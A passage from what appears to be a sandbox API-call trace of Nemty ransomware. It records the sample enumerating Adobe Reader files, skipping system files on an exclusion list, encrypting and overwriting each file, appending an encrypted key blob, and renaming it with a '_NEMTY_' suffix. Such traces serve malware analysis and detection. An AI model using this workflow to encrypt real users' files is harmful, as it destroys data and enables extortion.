returned 9 [0216.985] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr32.clx", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cfr32.clx", lpUsedDefaultChar=0x0) returned 9 [0216.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.985] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.985] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr32.clx", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cfr32.clx", lpUsedDefaultChar=0x0) returned 9 [0216.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.985] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.985] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr32.clx", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cfr32.clx", lpUsedDefaultChar=0x0) returned 9 [0216.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0216.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0216.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352d38 [0216.985] Sleep (dwMilliseconds=0x5) [0216.994] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34f9d990, dwHighDateTime=0x1d561e8)) [0216.994] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34f9d990, dwHighDateTime=0x1d561e8)) [0216.994] GetLastError () returned 0x0 [0216.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.994] GetLastError () returned 0x0 [0216.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.994] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0216.994] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0216.994] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0216.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0216.994] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653df5c | out: pszString="59JrnMr+Uovw+ryR1vHgllmKEni1hSwxs9f7uKYb84o7nFEe/MvRn6Yppb97ZQi0\r\n1IS6EB/byTLY1kDzBElDuuBnkJk2Q4iZ9jw8/96g4e/GEBtw2sEJzFBDPelbQC7X\r\nTDfGQwCDo3+rDWoQUaqli4L76vC/AtzlEYWNLs4pJkGqhV9qjGk+7oD2nJYWYT4U\r\nWgE5MSYlXW0ffBDw7O/PYjHmqCLfTVVJNrmce/PxE7A5GLCImpj/U8BDXJryNy0d\r\nDt7N5QxBT+CbuJVEqZfk7hZYnrCiiz6gBAV6MpzmuJUYzINAEzixto/Y+VRMTLYp\r\nTyuqWaOnvCFZf9VuvEfBFg==\r\n", pcchString=0x653df5c) returned 1 [0216.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0216.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0216.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0216.994] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cfr32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cfr32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0216.995] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=32766) returned 1 [0216.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7ff0) returned 0x6354c48 [0216.995] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.995] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0x7ff0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0x7ff0, lpOverlapped=0x0) returned 1 [0216.999] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.999] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0x7ff0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0x7ff0, lpOverlapped=0x0) returned 1 [0216.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0216.999] SetFilePointer (in: hFile=0x320, lDistanceToMove=32766, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7ffe [0216.999] WriteFile (in: hFile=0x320, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0216.999] CloseHandle (hObject=0x320) returned 1 [0217.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352e10 [0217.000] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0217.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.000] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0217.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352ee8 [0217.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0217.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352ee8 | out: hHeap=0x4f90000) returned 1 [0217.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.000] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cfr32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cfr32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cfr32.clx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cfr32.clx._nemty_kgobjgd_")) returned 1 [0217.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0217.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352e10 | out: hHeap=0x4f90000) returned 1 [0217.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0217.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352d38 | out: hHeap=0x4f90000) returned 1 [0217.001] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dedfba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3a251, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="cfr68.hsp", cAlternateFileName="")) returned 1 [0217.001] lstrcmpiW (lpString1="cfr68.hsp", lpString2=".") returned 1 [0217.001] lstrcmpiW (lpString1="cfr68.hsp", lpString2="..") returned 1 [0217.001] lstrcmpiW (lpString1="cfr68.hsp", lpString2="...") returned 1 [0217.001] lstrcmpiW (lpString1="cfr68.hsp", lpString2="windows") returned -1 [0217.001] lstrcmpiW (lpString1="cfr68.hsp", lpString2="$RECYCLE.BIN") returned 1 [0217.001] lstrcmpiW (lpString1="cfr68.hsp", lpString2="rsa") returned -1 [0217.001] lstrcmpiW (lpString1="cfr68.hsp", lpString2="NTDETECT.COM") returned -1 [0217.001] lstrcmpiW (lpString1="cfr68.hsp", lpString2="ntldr") returned -1 [0217.001] lstrcmpiW (lpString1="cfr68.hsp", lpString2="MSDOS.SYS") returned -1 [0217.001] lstrcmpiW (lpString1="cfr68.hsp", lpString2="IO.SYS") returned -1 [0217.001] lstrcmpiW (lpString1="cfr68.hsp", lpString2="boot.ini") returned 1 [0217.001] lstrcmpiW (lpString1="cfr68.hsp", lpString2="boot.ini") returned 1 [0217.001] lstrcmpiW (lpString1="cfr68.hsp", lpString2="AUTOEXEC.BAT") returned 1 [0217.001] lstrcmpiW (lpString1="cfr68.hsp", lpString2="ntuser.dat") returned -1 [0217.001] lstrcmpiW (lpString1="cfr68.hsp", lpString2="desktop.ini") returned -1 [0217.001] lstrcmpiW (lpString1="cfr68.hsp", lpString2="CONFIG.SYS") returned -1 [0217.001] lstrcmpiW (lpString1="cfr68.hsp", lpString2="RECYCLER") returned -1 [0217.001] lstrcmpiW (lpString1="cfr68.hsp", lpString2="BOOTSECT.BAK") returned 1 [0217.001] lstrcmpiW (lpString1="cfr68.hsp", lpString2="bootmgr") returned 1 [0217.001] lstrcmpiW (lpString1="cfr68.hsp", lpString2="programdata") returned -1 [0217.001] lstrcmpiW (lpString1="cfr68.hsp", lpString2="appdata") returned 1 [0217.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr68.hsp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr68.hsp", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cfr68.hsp", lpUsedDefaultChar=0x0) returned 9 [0217.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr68.hsp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr68.hsp", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cfr68.hsp", lpUsedDefaultChar=0x0) returned 9 [0217.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.002] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr68.hsp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.002] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr68.hsp", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cfr68.hsp", lpUsedDefaultChar=0x0) returned 9 [0217.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.002] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr68.hsp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.002] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cfr68.hsp", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cfr68.hsp", lpUsedDefaultChar=0x0) returned 9 [0217.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352d38 [0217.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0217.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0217.002] Sleep (dwMilliseconds=0x5) [0217.009] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34fc3af0, dwHighDateTime=0x1d561e8)) [0217.009] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34fc3af0, dwHighDateTime=0x1d561e8)) [0217.009] GetLastError () returned 0x0 [0217.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0217.010] GetLastError () returned 0x0 [0217.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0217.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.010] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0217.010] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0217.010] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0217.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0217.010] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653df5c | out: pszString="D0ZettZ88Ix6ckm+ywQpG6ACUIhD828Nc80XGw8+JE+VsWAv0t38HUQBIV80SiOP\r\nHfPz840T2VmHhCs0p9VegBW/N4+Kyz/HvFn/wjt6UwkRCOJrXm/HhPQR5DMlDW79\r\nkakIZ56GyoXLvuuV0vjLyCTDyHBgqQCTpCTasictuLpjw3XJh6a8zHYeneyUBjRK\r\n0aksmKO0hlrxVfGJl7nZztYYOAnFIkU22cJjkXyLIljQpy/XD5RpvFvzj+0EvIgq\r\nUUI4NXYvqaJZv1AwFPsJcg2kKhEkbfn1pdckW0VE68vpVlna23utHXuD/KCWFClR\r\nDsViVkbSf6++EjxbEQLQKg==\r\n", pcchString=0x653df5c) returned 1 [0217.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0217.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0217.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0217.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0217.010] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cfr68.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cfr68.hsp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0217.011] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=238161) returned 1 [0217.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6354c48 [0217.011] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.011] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0217.020] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.020] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0217.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0217.020] SetFilePointer (in: hFile=0x320, lDistanceToMove=238161, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3a251 [0217.020] WriteFile (in: hFile=0x320, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0217.020] CloseHandle (hObject=0x320) returned 1 [0217.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352e10 [0217.020] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0217.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.021] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0217.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352ee8 [0217.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0217.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352ee8 | out: hHeap=0x4f90000) returned 1 [0217.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.021] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cfr68.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cfr68.hsp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cfr68.hsp._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cfr68.hsp._nemty_kgobjgd_")) returned 1 [0217.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0217.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352e10 | out: hHeap=0x4f90000) returned 1 [0217.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0217.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0217.022] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df05d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c800, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="cfr95.ths", cAlternateFileName="")) returned 1 [0217.022] lstrcmpiW (lpString1="cfr95.ths", lpString2=".") returned 1 [0217.022] lstrcmpiW (lpString1="cfr95.ths", lpString2="..") returned 1 [0217.022] lstrcmpiW (lpString1="cfr95.ths", lpString2="...") returned 1 [0217.022] lstrcmpiW (lpString1="cfr95.ths", lpString2="windows") returned -1 [0217.022] lstrcmpiW (lpString1="cfr95.ths", lpString2="$RECYCLE.BIN") returned 1 [0217.022] lstrcmpiW (lpString1="cfr95.ths", lpString2="rsa") returned -1 [0217.022] lstrcmpiW (lpString1="cfr95.ths", lpString2="NTDETECT.COM") returned -1 [0217.022] lstrcmpiW (lpString1="cfr95.ths", lpString2="ntldr") returned -1 [0217.022] lstrcmpiW (lpString1="cfr95.ths", lpString2="MSDOS.SYS") returned -1 [0217.022] lstrcmpiW (lpString1="cfr95.ths", lpString2="IO.SYS") returned -1 [0217.022] lstrcmpiW (lpString1="cfr95.ths", lpString2="boot.ini") returned 1 [0217.022] lstrcmpiW (lpString1="cfr95.ths", lpString2="boot.ini") returned 1 [0217.022] lstrcmpiW (lpString1="cfr95.ths", lpString2="AUTOEXEC.BAT") returned 1 [0217.022] lstrcmpiW (lpString1="cfr95.ths", lpString2="ntuser.dat") returned -1 [0217.022] lstrcmpiW (lpString1="cfr95.ths", lpString2="desktop.ini") returned -1 [0217.022] lstrcmpiW (lpString1="cfr95.ths", lpString2="CONFIG.SYS") returned -1 [0217.022] lstrcmpiW (lpString1="cfr95.ths", lpString2="RECYCLER") returned -1 [0217.022] lstrcmpiW (lpString1="cfr95.ths", lpString2="BOOTSECT.BAK") returned 1 [0217.022] lstrcmpiW (lpString1="cfr95.ths", lpString2="bootmgr") returned 1 [0217.022] lstrcmpiW (lpString1="cfr95.ths", lpString2="programdata") returned -1 [0217.022] lstrcmpiW (lpString1="cfr95.ths", lpString2="appdata") returned 1 [0217.022] RtlAllocateHeap 